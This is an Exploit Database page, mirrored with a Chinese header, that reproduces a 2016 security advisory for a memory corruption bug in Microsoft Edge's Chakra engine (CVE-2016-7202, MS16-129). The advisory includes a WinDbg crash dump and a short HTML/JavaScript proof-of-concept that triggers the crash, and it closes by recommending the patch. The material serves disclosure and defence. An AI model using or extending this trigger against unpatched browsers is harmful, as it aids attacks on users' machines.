Microsoft Edge Scripting Engine – Memory Corruption (MS16-129)

Exploit Database
121 阅读

作者： Security-Assessment.com

日期： 2016-11-21
类别：
- dos
平台：
- windows
来源：https://www.exploit-db.com/exploits/40793/

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Source: http://www.security-assessment.com/files/documents/advisory/edge_chakra_mem_corruption.pdf

Name: Microsoft Edge Scripting Engine Memory Corruption Vulnerability (MS16-129)

CVE: CVE-2016-7202

Vendor Website: http://www.microsoft.com/

Date Released: 09/11/2016

Affected Software: Microsoft Windows 10, Microsoft Windows Server 2016

Researchers: Scott Bell

Description

A memory corruption vulnerability was identified in the Microsoft Edge Chakra JavaScript engine which could

allow a malicious user to remotely execute arbitrary code on a vulnerable user’s machine, in the context of the

current user.

Exploitation

Exploitation of this vulnerability requires a user to visit a page containing specially crafted JavaScript. Users can

generally be lured to visit web pages via email, instant message or links on the internet. Vulnerabilities like this

are often hosted on legitimate websites which have been compromised by other means.

The following table shows some cursory debug information:

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=00040001 ebx=01b1e760 ecx=00000012 edx=00000006 esi=00000000 edi=03f60000

eip=6a714bea esp=0328fa80 ebp=0328fab0 iopl=0 nv up ei pl nz na po nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202

jscript9!Recycler::ScanObject+0x23:

6a714bea 8b37 mov esi,dword ptr [edi] ds:0023:03f60000=????????

2:046> k

ChildEBP RetAddr

0328fab0 6a589768 jscript9!Recycler::ScanObject+0x23

0328facc 6a58973a jscript9!Recycler::TryMarkBigBlockList+0x22

0328faf0 6a589d83 jscript9!Recycler::ScanArena+0x7a

0328fb24 6a585f4c jscript9!Recycler::BackgroundFindRoots+0x8e

0328fb34 6a561263 jscript9!Recycler::DoBackgroundWork+0x103

0328fb60 6a6b162c jscript9!Recycler::ThreadProc+0xd1

*** ERROR: Symbol file could not be found. Defaulted to export symbols for

C:\Windows\system32\msvcrt.dll -

0328fb98 775c1287 jscript9!Recycler::StaticThreadProc+0x1c

WARNING: Stack unwind information not available. Following frames may be wrong.

0328fbd0 775c1328 msvcrt!itow_s+0x4c

*** ERROR: Symbol file could not be found. Defaulted to export symbols for

C:\Windows\system32\kernel32.dll -

0328fbd8 7793ef1c msvcrt!endthreadex+0x6c

0328fbe4 777e3648 kernel32!BaseThreadInitThunk+0x12

0328fc24 777e361b ntdll!__RtlUserThreadStart+0x70

0328fc3c 00000000 ntdll!_RtlUserThreadStart+0x1b

The following proof of concept code can be used to reproduce the vulnerability:

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<html>

<body>

<script>try{

for(var z in "a") a1.set(a1, '' );

Array.prototype.sort.call(a1, 'a', a1)

a1 = this;

a2 = [];

a1 = a2.concat(a1.a1);

var a1 = new Iterator(a1);

a1.add(a1);

for (let zzz = 0; zzz < 117; ++zzz) {a1.unshift(a2, a1);}

a1.reverse();

Array.prototype.reverse.call(a1);

a1.splice(1, 10);

}catch(e){};</script>

</body>

</html>

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Solution

icrosoft validated this security issue and issued a patch (MS16-129) to remedy it.

Security-Assessment.com recommends applying the patch which has been made available via Windows Update.

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